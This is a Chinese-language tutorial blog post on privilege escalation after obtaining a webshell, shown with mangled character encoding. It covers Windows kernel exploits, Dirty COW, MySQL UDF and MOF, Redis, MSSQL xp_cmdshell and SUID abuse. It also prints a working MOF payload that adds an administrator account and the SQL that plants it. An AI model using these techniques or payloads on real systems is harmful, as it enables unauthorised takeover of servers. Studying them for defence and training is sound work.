提權(quán)總結(jié)以及各種利用姿勢
本文章適合正在學(xué)習(xí)提權(quán)的朋友,或者準(zhǔn)備學(xué)習(xí)提權(quán)的朋友,大佬就可以繞過了,寫的比較基礎(chǔ)。我也是一個小白,總結(jié)一下提權(quán)的姿勢和利用,也分享一些自己覺得好用的方法給大家,歡迎大家?guī)臀已a(bǔ)充,有什么好用的提權(quán)的方法也可以分享一下,大家共同進(jìn)步。本篇有自己的理解,如果有什么不對的或者不好的地方希望大家不要噴我,但是歡迎幫我指正。
提權(quán)的含義
提權(quán),顧名思義就是提升權(quán)限,當(dāng)我們getshell一個網(wǎng)站之后,大部分情況下我們的權(quán)限是非常低的(一般只是一個apache權(quán)限)。這時候為了“擴(kuò)大戰(zhàn)果”,就需要利用提權(quán),來讓原本的低權(quán)限(如只允許列目錄)–>高權(quán)限(擁有修改文件的能力),提升一下權(quán)限,有助于我們繼續(xù)往下滲透。
提權(quán)的方式有以下幾種
Linux:
- 本地提權(quán)
- 數(shù)據(jù)庫提權(quán)
- 第三方軟件提權(quán)
Windows:
- 本地提權(quán)
- 數(shù)據(jù)庫提權(quán)
- 第三方軟件提權(quán)
是的你沒看錯,Linux跟Windows都有三種,而且都是一樣的,原來準(zhǔn)備給大家畫一個圖更直觀,因為時間原因就沒畫,如果大家喜歡這篇文章的話,我會下次補(bǔ)上。
windows本地提權(quán)
在windows中本地提權(quán)分為兩種,一種是本地服務(wù)提權(quán),比如iis6 iis5 ftp smb。另一種是系統(tǒng)內(nèi)核提權(quán)漏洞,比如比較火的ms07-010提權(quán),445端口存在漏洞,利用系統(tǒng)漏洞提權(quán)。為了讓大家更直觀的看到提權(quán)步驟,我決定用“啊保“的環(huán)境進(jìn)行測試(至于啊保是誰當(dāng)然不告訴你們啦),貼圖給大家。首先我們進(jìn)入getshell的主機(jī),然后執(zhí)行‘systeminfo’命令,看一下這臺主機(jī)的基本信息,還有哪些漏洞沒有修復(fù)。
查找有哪些可以提權(quán)的漏洞,查看目標(biāo)機(jī)的版本號(比如這個主機(jī)是x64的還是x86的),然后查找有哪個漏洞可以利用。
windows版提權(quán)下載的話一般都會有一個exe腳本,下載這個exe程序,但是不一定會提權(quán)成功。所以我們要自己先搭建一個跟目標(biāo)機(jī)一樣的環(huán)境先進(jìn)行測試,測試成功之后,再將程序放到目標(biāo)機(jī)中進(jìn)行提權(quán)。這里我就直接演示我測試好的腳本進(jìn)行提權(quán)。
1. Windows本地提權(quán)步驟:
首先getshell,怎么getshell我就不說了,提權(quán)肯定是要在getshell之后的,如果看到有數(shù)據(jù)庫的話,可以猜到數(shù)據(jù)庫賬號密碼的話那就不用getshell了(但是一般是猜不到的-。-),就用數(shù)據(jù)庫提權(quán),數(shù)據(jù)庫提權(quán)后面再說。把咱們測試好的x64.exe腳本上傳到目標(biāo)機(jī)。
我們可以看到?jīng)]執(zhí)行這個腳本之前還不是system權(quán)限。
接下來我們執(zhí)行這個x64.exe腳本,也就是MS16-032漏洞,可以看到權(quán)限變成了system權(quán)限,提權(quán)成功。
但是要注意幾點,因為我們用菜刀或者蟻劍連接之后執(zhí)行命令不是交互式的shell,至于什么是交互式的shell,可以去百度一下。所以我們用腳本的時候需要在后面輸入命令才可以執(zhí)行。如果是交互式的shell的話,比如用msf,就會彈出一個對話框,只要在這個對話框里執(zhí)行命令,不管什么命令都是以system權(quán)限執(zhí)行。其他的腳本也是可以提權(quán)的,需要大家去挖掘了。當(dāng)然也可以用msf生成的腳本來提權(quán),msf反彈回來是交互式的shell后面我們會說到。
2. Windows提權(quán)腳本運行方式(總結(jié)):
- 直接執(zhí)行exe程序,成功后會打開一個cmd窗口,在新窗口中權(quán)限就是system。
- 在webshell中執(zhí)行exe程序,執(zhí)行方式為x64.exe whoami,成功后直接執(zhí)行命令,再修改命令內(nèi)容,可以執(zhí)行不同的命令。
- 利用msf等工具。
- 特殊的,c++源碼,python腳本,powershell腳本。
Linux本地提權(quán)
Linux安裝好系統(tǒng)后里面自帶的軟件或者內(nèi)核存在的漏洞,比較流行的“臟牛“提權(quán),也可以使用vim提權(quán),sudo提權(quán)等。linux內(nèi)核提權(quán)跟windows是一樣的,都要下載對應(yīng)漏洞的腳本進(jìn)行提權(quán),只不過下載的linux提權(quán)腳本需要編譯一下才可以使用,編譯的方法很簡單,后面再說。
Linux本地提權(quán)步驟:
getshell之后一般是apache用戶,然后進(jìn)入命令欄,輸入uname -a 命令可以查看內(nèi)核版本,利用內(nèi)核版本提權(quán)。我們還是用“啊保“的環(huán)境進(jìn)行演示。這兩個都可以查看內(nèi)核版本
看redhat系列的系統(tǒng)版本,可以看到是cento 6.5的。
然后查找相關(guān)版本的漏洞,進(jìn)行提權(quán),還是為了不把系統(tǒng)搞崩,我們要安裝相應(yīng)版本的系統(tǒng),先在本地進(jìn)行測試,以免把目標(biāo)系統(tǒng)搞崩(我已經(jīng)搞崩好幾回了,崩潰)一般來說linux提權(quán)腳本都是一個.c的文件,所以需要linux里面有g(shù)cc才可以進(jìn)行編譯,如果目標(biāo)機(jī)沒有g(shù)cc,那么我們就只能搭建一個相同的環(huán)境,然后裝上gcc進(jìn)行編譯,編譯方法腳本里一般都有。
我們以測試好的臟牛腳本為例,首先我們上傳一個臟牛腳本,然后進(jìn)行編譯。
多了一個腳本,我們執(zhí)行腳本,必須在后面加上密碼,管理員跟我們都不知道密碼就會連不上,然后系統(tǒng)崩潰,后面的事我就不說了,且行且珍惜呀。
我們查看passwd文件,可以看到root用戶變成了firefart,然后我們可以用ssh進(jìn)行連接。
root就會變成我們的臟牛,然后登陸這個用戶,就可以是管理員權(quán)限,記得一定要把臟牛備份的文件移動到原來的地方,否則管理員就會登陸不上。
數(shù)據(jù)庫提權(quán)
1. MySQL數(shù)據(jù)庫提權(quán)
- 具有MySQL的root權(quán)限,且MySQL以system權(quán)限運行。
- 具有執(zhí)行SQL語句的權(quán)限。
MySQL數(shù)據(jù)庫提權(quán)分為:
- 開機(jī)啟動腳本
- udf腳本
- mof腳本
- 計劃任務(wù)我們主要介紹udf腳本提權(quán),因為我個人覺得這個數(shù)據(jù)庫提權(quán)方法還是比較好用的,但是需要數(shù)據(jù)庫寫權(quán)限。
2. 開機(jī)啟動項提權(quán)
利用MySQL,將后門寫入開機(jī)啟動項。同時因為是開機(jī)自啟動,再寫入之后,需要重啟目標(biāo)服務(wù)器,才可以運行。
3. Linux UDF提權(quán)
不需要判斷mysql是什么版本的,直接查看路徑就行,直接寫so文件,linux里面的文件是so文件,Windows文件是dll文件。
我們getshell之后進(jìn)入終端輸入whoami,發(fā)現(xiàn)我們只是apache用戶權(quán)限:
我們找一下網(wǎng)站數(shù)據(jù)庫的配置文件,查看數(shù)據(jù)庫的賬號密碼,可以看到賬號root密碼root:
登陸mysql數(shù)據(jù)庫,可以在MySQL里輸入show variables like ‘%plugin%’; 直接查看plugin路徑:
然后我們把so文件利用16進(jìn)制編輯工具進(jìn)行編碼,再解碼寫入目錄中,返回為true,寫入成功。
寫入之后,執(zhí)行創(chuàng)建函數(shù)的命令,就會創(chuàng)建一個sys_eval的函數(shù),用來執(zhí)行系統(tǒng)命令,這個函數(shù)執(zhí)行的系統(tǒng)命令全部都是system權(quán)限的。
sys_eval這個函數(shù)就可以執(zhí)行系統(tǒng)命令,括號里輸入系統(tǒng)命令即可。
4. Windows UDF提權(quán):
UDF可以理解為MySQL的函數(shù)庫,可以利用udf定義的創(chuàng)建函數(shù)。• 想要利用udf,必須上傳udf.dll作為udf的執(zhí)行庫。• MySQL中支持UDF擴(kuò)展,使得我們可以調(diào)用DLL里面的函數(shù)來實現(xiàn)一些特殊的功能。首先導(dǎo)出DLL文件,然后判斷mysql的版本mysql版本<5.2,UDF導(dǎo)出到系統(tǒng)目錄c:/windows/system32/mysql版本>5.2,UDF導(dǎo)出到安裝路徑MySQL\Lib\Plugin\后面的方式跟linux udf提權(quán)一樣。就不演示了,方法跟Linux udf提權(quán)一樣。
5. MOF提權(quán)(只適用于windows系統(tǒng),一般低版本系統(tǒng)才可以用,比如xp,server2003)
- 首先找一個可以寫的目錄,把我們的MOF文件上傳上去。
- 執(zhí)行以下sql語句,mof文件內(nèi)的命令就會執(zhí)行。
我們把mof文件上傳到C:/wmpub/nullevt.mof,之后再將這個文件復(fù)制到c:/windows/sysrtem32/wbem/mof/nullevt.mof目錄下:
- Select load file(‘C:/wmpub/nullevt.mof’)intodumpfile’c:/windows/sysrtem32/wbem/mof/nullevt.mof’
將這段代碼復(fù)制到mof后綴的文件:
- # pragma namespace("\.\root\subscription")
- instance of EventFilter as $EventFilter{ EventNamespace ="Root\Cimv2"; Name = "filtP2"; Query = "Select * From InstanceModificationEvent "
- "Where TargetInstance Isa \"Win32_LocalTime\" "
- "And TargetInstance.Second = 5";
- QueryLanguage = "WQL";
- };
- instance of ActiveScriptEventConsumer as $Consumer
- {
- Name = "consPCSV2";
- ScriptingEngine = "JScript";
- ScriptText =
- "var WSH = new
- ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
- };
- instance of __FilterToConsumerBinding
- {
- Consumer = $Consumer;
- Filter = $EventFilter;
- };
把這個mof文件上傳到目標(biāo)機(jī)中,可以修改代碼,進(jìn)行命令執(zhí)行。目前mof提權(quán)方法用的比較少了,因為比較麻煩,建議MySQL數(shù)據(jù)庫提權(quán)還是用udf比較好。
6. Redis提權(quán)
- 開機(jī)啟動腳本
- 一般情況下,由于使用源碼編譯安全的,默認(rèn)以root權(quán)限運行,通過未授權(quán)進(jìn)入數(shù)據(jù)庫,可以寫任意文件,還可以用exp直接執(zhí)行命令。
- mof腳本
- 計劃任務(wù)
- ssh公鑰
7. mssql提權(quán)
所謂利用數(shù)據(jù)庫進(jìn)行提權(quán),利用的其實是數(shù)據(jù)庫的運行權(quán)限,所以我們只要滿足以下條件即可進(jìn)行提權(quán):1、必須獲得sa的賬號密碼或者sa相同權(quán)限的賬號密碼,且mssql沒有被降權(quán)。2、必須可以以某種方式執(zhí)行sql語句,例如:webshell或者1433端口的連接。
mssql數(shù)據(jù)庫提權(quán)思路:
- 開機(jī)啟動腳本
- 監(jiān)聽在1433端口,拿到mssql的sa賬戶的賬號和密碼,就可以執(zhí)行命令,利用exec xp_cmdshellwhoami。
如果mssql數(shù)據(jù)庫運行時,以管理員權(quán)限運行,那么執(zhí)行命令時就是管理員權(quán)限。
mssql數(shù)據(jù)庫提權(quán)步驟:我們首先還是要先getshell或者找其他漏洞,我這里看到目標(biāo)機(jī)21端口開放,直接用ftp連接,把文件直接復(fù)制出來,獲取到數(shù)據(jù)庫的賬號密碼。
利用數(shù)據(jù)庫連接工具連接,之后輸入exec xp_cmdshell whoami命令,可以看到是system權(quán)限。
第三方軟件提權(quán)
Linux系統(tǒng)中有一個suid的提權(quán),如果一個文件有s權(quán)限,那么普通用戶有執(zhí)行權(quán)限,如果普通用戶執(zhí)行這個文件,就會以文件擁有者的權(quán)限執(zhí)行 首先找有s權(quán)限的文件,然后再找能夠執(zhí)行命令的文件 Linux可執(zhí)行文件包括: Nmap、vim、find、Bash、More、Less、Nano、cp。
這條命令就可以查詢具有root權(quán)限的suid文件。
- Find / -user root -perm -4000 -print2>/dev/null
我們用find命令演示一下,首先找到find的目錄,可以用whereis命令查找find目錄,我們將find加上s權(quán)限。
創(chuàng)建一個新進(jìn)行用戶進(jìn)行實驗:
我們可以看到權(quán)限是qqq用戶的權(quán)限:
可以看到輸入這個命令之后我們的權(quán)限變成了root,成功提權(quán):